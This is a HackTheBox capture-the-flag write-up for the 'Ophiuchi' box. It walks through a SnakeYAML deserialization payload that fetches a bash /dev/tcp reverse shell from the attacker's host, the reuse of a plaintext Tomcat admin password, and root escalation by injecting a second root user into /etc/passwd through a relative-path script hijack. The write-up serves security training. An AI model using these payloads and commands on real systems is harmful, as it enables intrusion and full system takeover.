03 Jul 2021 | Reading time: ~11 min
HackTheBox - Ophiuchi [Medium]
#HackTheBox #Linux #Medium #CVE-2017-1000207 #snakeyaml #yaml-deserialization #RCE #hardcoded-credentials #password-reuse #relative-paths-hijacking-privesc #reversing #B2R #writeup #lateral-movement
Table of contents
Introduction
Ophiuchi is a medium difficulty Linux box hosting a YAML parser vulnerable to a YAML deserialization attacks leading to remote code execution. Once inside the box it was possible to leak some credentials and reuse them to access the target with user privileges. Finally, privilege escalation to root was achieved abusing a go script containing relative path. After reversing and patching a wasm file it was possible to hijack relative path reference within the go script and execute arbitrary code.
Improved skills:
- YAML Deserialization Attacks
- Code Review
- Decompile and patch wasm file
Used tools:
- nmap
- gobuster
- netcat
- wabt (WebAssembly Binary Toolkit)
Enumeration
Scanned all TCP ports:
┌──(kali㉿kali)-[~/CTFs/HTB/box/Ophiuchi]
└─$ sudo nmap -p- -sS 10.10.10.227 -oN scans/all-tcp-ports.txt -v -Pn
...
PORT STATE SERVICE
22/tcp open ssh
8080/tcp open http-proxy
Enumerated open tcp ports:
┌──(kali㉿kali)-[~/CTFs/HTB/box/Ophiuchi]
└─$ sudo nmap -p22,8080 -sV -sT -sC -A 10.10.10.227 -oN scans/open-tcp-ports.txt -Pn
...
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 8.2p1 Ubuntu 4ubuntu0.1 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 3072 6d:fc:68:e2:da:5e:80:df:bc:d0:45:f5:29:db:04:ee (RSA)
| 256 7a:c9:83:7e:13:cb:c3:f9:59:1e:53:21:ab:19:76:ab (ECDSA)
|_ 256 17:6b:c3:a8:fc:5d:36:08:a1:40:89:d2:f4:0a:c6:46 (ED25519)
8080/tcp open http Apache Tomcat 9.0.38
|_http-title: Parse YAML
...
Nmap discovered only two open ports: a SSH service running on port 22 and an Apache Tomcat running on port 8080. Because usually SSH offers a lower attack surface compared to web application, port 8080 was the most interesting target to start with.
Enumerated port 8080 using a browser:
Enumerated web directories and files:
┌──(kali㉿kali)-[~/CTFs/HTB/box/Ophiuchi]
└─$ gobuster dir -u http://10.10.10.227:8080 -w /usr/share/seclists/Discovery/Web-Content/raft-medium-directories.txt -oN scans/p80-directories.txt -f
...
/manager/ (Status: 302) [Size: 0] [--> /manager/html]
/yaml/ (Status: 200) [Size: 8042]
/plain]/ (Status: 400) [Size: 762]
/[/ (Status: 400) [Size: 762]
/]/ (Status: 400) [Size: 762]
/quote]/ (Status: 400) [Size: 762]
Progress: 23982 / 30001 (79.94%) [ERROR] 2021/05/02 12:58:50 [!] parse "http://10.10.10.227:8080/error\x1f_log/": net/url: invalid control character in URL
/extension]/ (Status: 400) [Size: 762]
/[0-9]/ (Status: 400) [Size: 762]
┌──(kali㉿kali)-[~/CTFs/HTB/box/Ophiuchi]
└─$ gobuster dir -u http://10.10.10.227:8080 -w /usr/share/seclists/Discovery/Web-Content/raft-medium-files.txt -oN scans/p80-files.txt
/. (Status: 200) [Size: 8042]
/index.jsp (Status: 200) [Size: 8042]
A known vulnerability of tomcat servers is the use of default credentials for manager
and host-manager
areas. Because directory enumeration revealed the existence of these area, access with default credentials was tried but with no luck.
Testing the YAML parser for unexpected behavior, an Internal Server Error was obtained, which disclosed verbose error messages and the component used by the parser.
Foothold
Searching on Google it was possible to find some interesting articles talking about a deserialization vulnerability (CVE-2017-1000207) impacting the SnakeYaml software, the exact same component used by the YAML parser.
https://securitylab.github.com/research/swagger-yaml-parser-vulnerability/ https://swapneildash.medium.com/snakeyaml-deserilization-exploited-b4a2c5ac0858
CVE-2017-1000207:
A vulnerability in Swagger-Parser’s version <= 1.0.30 and Swagger codegen version <= 2.2.2 yaml parsing functionality results in arbitrary code being executed when a maliciously crafted yaml Open-API specification is parsed. This in particular, affects the ‘generate’ and ‘validate’ command in swagger-codegen (<= 2.2.2) and can lead to arbitrary code being executed when these commands are used on a well-crafted yaml specification.
As discussed in the articles, sending a specific payload to the parser allowed to obtain a request from it. The Poc used for the test was the following:
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://10.10.14.24"]]]]
Submitting the PoC to the parser it was possible to obtain a connection back to the attacker machine:
┌──(kali㉿kali)-[~/CTFs/HTB/box/Ophiuchi]
└─$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.227 - - [02/May/2021 13:34:48] "GET / HTTP/1.1" 200 -
Confirmed the existence of the vulnerability, to get a working RCE it was necessary to craft a specific payload or alternatively find an working one. After some googling the following GitHub repo was found, presenting itself as “A tiny project for generating payloads for the SnakeYAML deserialization gadget”. Repo: https://github.com/artsploit/yaml-payload
Once cloned the repository, the AwesomeScriptEngineFactory.java
file was edited to download a malicious bash reverse shell on the target:
┌──(kali㉿kali)-[~/…/box/Ophiuchi/exploit/yaml-payload]
└─$ nano src/artsploit/AwesomeScriptEngineFactory.java
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
public AwesomeScriptEngineFactory() {
try {
Runtime.getRuntime().exec("curl http://10.10.14.24/rs.sh -o /tmp/revshell.sh");
} catch (IOException e) {
e.printStackTrace();
}
}
...
The bash reverse shell was the following one:
#!/bin/sh
bash -i >& /dev/tcp/10.10.14.24/80 0>&1
After having prepared the payloads, the java file was compiled as described inside the repo and the second stage payload was hosted:
┌──(kali㉿kali)-[~/…/box/Ophiuchi/exploit/yaml-payload]
└─$ javac src/artsploit/AwesomeScriptEngineFactory.java
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
┌──(kali㉿kali)-[~/…/box/Ophiuchi/exploit/yaml-payload]
└─$ jar -cvf yaml-payload.jar -C src/ .
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
added manifest
adding: artsploit/(in = 0) (out= 0)(stored 0%)
adding: artsploit/AwesomeScriptEngineFactory.java(in = 1563) (out= 431)(deflated 72%)
adding: artsploit/AwesomeScriptEngineFactory.class(in = 1635) (out= 692)(deflated 57%)
ignoring entry META-INF/
adding: META-INF/services/(in = 0) (out= 0)(stored 0%)
adding: META-INF/services/javax.script.ScriptEngineFactory(in = 36) (out= 38)(deflated -5%)
┌──(kali㉿kali)-[~/…/box/Ophiuchi/exploit/yaml-payload]
└─$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
The exploit was then submitted to the parser and the second stage payload was downloaded:
!!javax.script.ScriptEngineManager [!!java.net.URLClassLoader [[!!java.net.URL ["http://10.10.14.24/yaml-payload.jar"]]]]
┌──(kali㉿kali)-[~/…/box/Ophiuchi/exploit/yaml-payload]
└─$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.227 - - [02/May/2021 16:14:01] "GET /yaml-payload.jar HTTP/1.1" 200 -
Once downloaded the bash reverse shell on the target, it was necessary to execute it. To achieve the task the AwesomeScriptEngineFactory.java
was edited once again, this time with the purpose to execute the previously uploaded bash script and provide a reverse shell.
Second payload:
┌──(kali㉿kali)-[~/…/box/Ophiuchi/exploit/yaml-payload]
└─$ nano src/artsploit/AwesomeScriptEngineFactory.java
import javax.script.ScriptEngineFactory;
import java.io.IOException;
import java.util.List;
public class AwesomeScriptEngineFactory implements ScriptEngineFactory {
public AwesomeScriptEngineFactory() {
try {
//Runtime.getRuntime().exec("curl http://10.10.14.24:443/rs.sh -o /tmp/rev.sh");
Runtime.getRuntime().exec("bash /tmp/rev.sh");
} catch (IOException e) {
e.printStackTrace();
}
}
...
Compiled and hosted the payload once again:
┌──(kali㉿kali)-[~/…/box/Ophiuchi/exploit/yaml-payload]
└─$ javac src/artsploit/AwesomeScriptEngineFactory.java
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
┌──(kali㉿kali)-[~/…/box/Ophiuchi/exploit/yaml-payload]
└─$ jar -cvf yaml-payload.jar -C src/ .
Picked up _JAVA_OPTIONS: -Dawt.useSystemAAFontSettings=on -Dswing.aatext=true
added manifest
adding: artsploit/(in = 0) (out= 0)(stored 0%)
adding: artsploit/AwesomeScriptEngineFactory.java(in = 1563) (out= 431)(deflated 72%)
adding: artsploit/AwesomeScriptEngineFactory.class(in = 1635) (out= 692)(deflated 57%)
ignoring entry META-INF/
adding: META-INF/services/(in = 0) (out= 0)(stored 0%)
adding: META-INF/services/javax.script.ScriptEngineFactory(in = 36) (out= 38)(deflated -5%)
┌──(kali㉿kali)-[~/…/box/Ophiuchi/exploit/yaml-payload]
└─$ sudo python3 -m http.server 80
Serving HTTP on 0.0.0.0 port 80 (http://0.0.0.0:80/) ...
10.10.10.227 - - [02/May/2021 16:14:01] "GET /yaml-payload.jar HTTP/1.1" 200 -
10.10.10.227 - - [02/May/2021 16:14:01] "GET /yaml-payload.jar HTTP/1.1" 200 -
Executed the second stage on the target machine and obtained the reverse shell:
┌──(kali㉿kali)-[~/CTFs/HTB/box/Ophiuchi]
└─$ sudo nc -nlvp 10099
listening on [any] 10099 ...
connect to [10.10.14.24] from (UNKNOWN) [10.10.10.227] 53984
bash: cannot set terminal process group (831): Inappropriate ioctl for device
bash: no job control in this shell
tomcat@ophiuchi:/$ id
id
uid=1001(tomcat) gid=1001(tomcat) groups=1001(tomcat)
tomcat@ophiuchi:/$ which python3
which python3
/usr/bin/python3
tomcat@ophiuchi:/$ python3 -c 'import pty;pty.spawn("/bin/bash")'
python3 -c 'import pty;pty.spawn("/bin/bash")'
tomcat@ophiuchi:/$ ^Z
zsh: suspended sudo nc -nlvp 10099
┌──(kali㉿kali)-[~/CTFs/HTB/box/Ophiuchi]
└─$ stty raw -echo; fg
[1] + continued sudo nc -nlvp 10099
tomcat@ophiuchi:/$ export TERM=xterm
Lateral Movement to admin
During the enumeration phase it was not possible to access the /manager/
area with default credentials, meaning that credentials was different. Finding them would be an easy win in case of password reuse.
Searched tomcat admin credentials:
tomcat@ophiuchi:~$ grep -ri 'password' . --color 2>/dev/null
...
./conf/tomcat-users.xml:<user username="admin" password="whythereisalimit" roles="manager-gui,admin-gui"/>
...
Logged as admin
reusing tomcat credentials:
tomcat@ophiuchi:~$ su admin
Password: whythereisalimit
admin@ophiuchi:/opt/tomcat$ id
uid=1000(admin) gid=1000(admin) groups=1000(admin)
Video
Privilege Escalation
Enumerated sudo privileges for the admin
user:
admin@ophiuchi:~$ sudo -l
Matching Defaults entries for admin on ophiuchi:
env_reset, mail_badpass, secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User admin may run the following commands on ophiuchi:
(ALL) NOPASSWD: /usr/bin/go run /opt/wasm-functions/index.go
Enumerated contents of /opt/wasm-functions/index.go
:
package main
import (
"fmt"
wasm "github.com/wasmerio/wasmer-go/wasmer"
"os/exec"
"log"
)
func main() {
bytes, _ := wasm.ReadBytes("main.wasm")
instance, _ := wasm.NewInstance(bytes)
defer instance.Close()
init := instance.Exports["info"]
result,_ := init()
f := result.String()
if (f != "1") {
fmt.Println("Not ready to deploy")
} else {
fmt.Println("Ready to deploy")
out, err := exec.Command("/bin/sh", "deploy.sh").Output()
if err != nil {
log.Fatal(err)
}
fmt.Println(string(out))
}
}
Enumerated contents of /opt/wasm-functions/
:
admin@ophiuchi:~$ ls -al /opt/wasm-functions/
total 3928
drwxr-xr-x 3 root root 4096 Oct 14 2020 .
drwxr-xr-x 5 root root 4096 Oct 14 2020 ..
drwxr-xr-x 2 root root 4096 Oct 14 2020 backup
-rw-r--r-- 1 root root 88 Oct 14 2020 deploy.sh
-rwxr-xr-x 1 root root 2516736 Oct 14 2020 index
-rw-rw-r-- 1 root root 522 Oct 14 2020 index.go
-rwxrwxr-x 1 root root 1479371 Oct 14 2020 main.wasm
What this script do is importing the wasm
function from github.com/wasmerio/wasmer-go/wasme
, reading a the main.wasm
file, extracting the info
field and controlling its value. In case info is different by 1 the script print an error message, otherwise it execute the deploy.sh
script. What stands out is that the script executes delpoy.sh
without specifying the absolute path of the file.
...
func main() {
bytes, _ := wasm.ReadBytes("main.wasm")
...
out, err := exec.Command("/bin/sh", "deploy.sh").Output()
...
Relative path can be abused in order to execute arbitrary code from any user’s writable path. By being able to control the flow of the program it would be possible to execute an arbitrary script with elevated privileges(thanks to sudo).
First of all, a bash script that inject a second arbitrary root user was created inside the user directory:
admin@ophiuchi:~$ echo '#!/bin/bash' > deploy.sh
admin@ophiuchi:~$ echo 'echo "root2:AK24fcSx2Il3I:0:0:root:/root:/bin/bash" >> /etc/passwd' > deploy.sh
admin@ophiuchi:~$ cat deploy.sh
#!/bin/bash
echo "root2:AK24fcSx2Il3I:0:0:root:/root:/bin/bash" >> /etc/passwd
Then the main.wasm
file was searched and copied on the current directory in order to have the file which allows to control the data flow of the script:
admin@ophiuchi:/$ find / -name main.wasm 2>/dev/null
/opt/wasm-functions/main.wasm
/opt/wasm-functions/backup/main.wasm
admin@ophiuchi:~$ cp /opt/wasm-functions/backup/main.wasm .
admin@ophiuchi:~$ sudo /usr/bin/go run /opt/wasm-functions/index.go
Not ready to deploy
Unfortunately the program returned “Not ready to deploy”, meaning that the main.wasm
file returned an info value different then 1.
Googling around about information on wasm files and how to work with them, a GitHub repository named WebAssembly Binary Toolkit (wabt) showed up. The toolkit allowed to transform .wasm
file into .wat
(WebAssembly Text), edit them and then rebuild .wat
into .wasm
files. This allowed to create a file that would have executed the deployment and therefore the backdoor created previously.
To begin with, after installing wabt the wasm file was downloaded using scp
and was decompiled to understand its functionality:
┌──(kali㉿kali)-[~/…/Ophiuchi/exploit/wabt/build]
└─$ scp admin@10.10.10.227:/home/admin/main.wasm ../../main.wasm
admin@10.10.10.227 password:
main.wasm
┌──(kali㉿kali)-[~/…/box/Ophiuchi/exploit/wabt]
└─$ bin/wasm-decompile ../main.wasm -o ../main.dcmp
┌──(kali㉿kali)-[~/…/box/Ophiuchi/exploit/wabt]
└─$ cat ../main.dcmp
export memory memory(initial: 16, max: 0);
global g_a:int = 1048576;
export global data_end:int = 1048576;
export global heap_base:int = 1048576;
table T_a:funcref(min: 1, max: 1);
export function info():int {
return 0
}
Having understood how it works and figured out where to make the change that would allow the go script to be controlled, the wasm file was transformed into wat, it was modified, and it was transformed back into wasm again.
┌──(kali㉿kali)-[~/…/box/Ophiuchi/exploit/wabt]
└─$ bin/wasm2wat ../main.wasm
(module
(type (;0;) (func (result i32)))
(func $info (type 0) (result i32)
i32.const 0)
(table (;0;) 1 1 funcref)
(memory (;0;) 16)
(global (;0;) (mut i32) (i32.const 1048576))
(global (;1;) i32 (i32.const 1048576))
(global (;2;) i32 (i32.const 1048576))
(export "memory" (memory 0))
(export "info" (func $info))
(export "__data_end" (global 1))
(export "__heap_base" (global 2)))
┌──(kali㉿kali)-[~/…/box/Ophiuchi/exploit/wabt]
└─$ bin/wasm2wat ../main.wasm -o ../main.wat
┌──(kali㉿kali)-[~/…/box/Ophiuchi/exploit/wabt]
└─$ nano ../main.wat
...
(func $info (type 0) (result i32)
i32.const 1)
...
┌──(kali㉿kali)-[~/…/box/Ophiuchi/exploit/wabt]
└─$ bin/wat2wasm ../main.wat -o ../test.wasm
Decompiling the new wasm file resulted in a function returning info equals to 1, allowing to control index.go
:
┌──(kali㉿kali)-[~/…/box/Ophiuchi/exploit/wabt]
└─$ bin/wasm-decompile ../test.wasm
export memory memory(initial: 16, max: 0);
global g_a:int = 1048576;
export global data_end:int = 1048576;
export global heap_base:int = 1048576;
table T_a:funcref(min: 1, max: 1);
export function info():int {
return 1
}
To conclude, the new wasm file was uploaded to the target and the go script was executed saying it was Ready to deploy the malicious deploy.sh
script. An arbitrary root2 user was successfully injected and it was used to escalate to root:
┌──(kali㉿kali)-[~/…/box/Ophiuchi/exploit/wabt]
└─$ scp ../test.wasm admin@10.10.10.227:/home/admin/main.wasm
admin@10.10.10.227 password:
test.wasm 100% 112 2.0KB/s 00:00
admin@ophiuchi:~$ ls
deploy.sh main.wasm user.txt
admin@ophiuchi:~$ sudo /usr/bin/go run /opt/wasm-functions/index.go
Ready to deploy
admin@ophiuchi:~$ tail /etc/passwd
...
admin:x:1000:1000:,,,:/home/admin:/bin/bash
root2:AK24fcSx2Il3I:0:0:root:/root:/bin/bash
admin@ophiuchi:~$ su root2
Password: evil
root@ophiuchi:/home/admin# whoami && hostname && cat /root/root.txt && ifconfig -a
root
ophiuchi
96adc130ebd6b788b72b64b358cb0cab
ens160: flags=4163<UP,BROADCAST,RUNNING,MULTICAST> mtu 1500
inet 10.10.10.227 netmask 255.255.255.0 broadcast 10.10.10.255
inet6 dead:beef::250:56ff:feb9:c237 prefixlen 64 scopeid 0x0<global>
inet6 fe80::250:56ff:feb9:c237 prefixlen 64 scopeid 0x20<link>
ether 00:50:56:b9:c2:37 txqueuelen 1000 (Ethernet)
RX packets 5443 bytes 456406 (456.4 KB)
RX errors 0 dropped 39 overruns 0 frame 0
TX packets 2998 bytes 2858019 (2.8 MB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
lo: flags=73<UP,LOOPBACK,RUNNING> mtu 65536
inet 127.0.0.1 netmask 255.0.0.0
inet6 ::1 prefixlen 128 scopeid 0x10<host>
loop txqueuelen 1000 (Local Loopback)
RX packets 9778 bytes 707444 (707.4 KB)
RX errors 0 dropped 0 overruns 0 frame 0
TX packets 9778 bytes 707444 (707.4 KB)
TX errors 0 dropped 0 overruns 0 carrier 0 collisions 0
Video
Trophy
Two possibilities exist: either we are alone in the Universe or we are not.
Both are equally terrifying.
- Arthur C. Clarke